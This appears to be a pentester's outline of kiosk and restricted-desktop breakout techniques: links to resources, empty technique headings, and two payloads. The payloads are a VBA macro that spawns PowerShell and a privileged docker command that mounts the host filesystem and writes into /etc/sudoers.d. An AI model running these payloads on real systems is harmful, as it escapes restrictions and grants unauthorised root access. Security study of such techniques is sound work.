Kiosk Breakouts

Amazing resource: https://www.pentestpartners.com/security-blog/breaking-out-of-citrix-and-other-restricted-desktop-environments/#dialogboxes

Kiosk breakout badusb script: https://github.com/KhaelK138/badusb-windows-kiosk-breakout/blob/main/breakout_payload.txt

Windows

Getting a Shell from Explorer

Bypassing Path Restrictions

Bypassing Disabled Interactive Sessions

Bypassing GPO restrictions

Bypassing Name Restrictions

Utilizing Internet Explorer

Citrix

Breaking out with MS Paint?!?!

MS Office Macros

Sub MyMacro()
  CreateObject("Wscript.Shell").Run "powershell"
End Sub

LOLBAS

Linux

Bypassing Read-Only File Systems

Docker

Shai Hulud breakout payload: docker run --rm --privileged -v /:/host ubuntu bash -c "cp /host/tmp/runner /host/etc/sudoers.d/runner"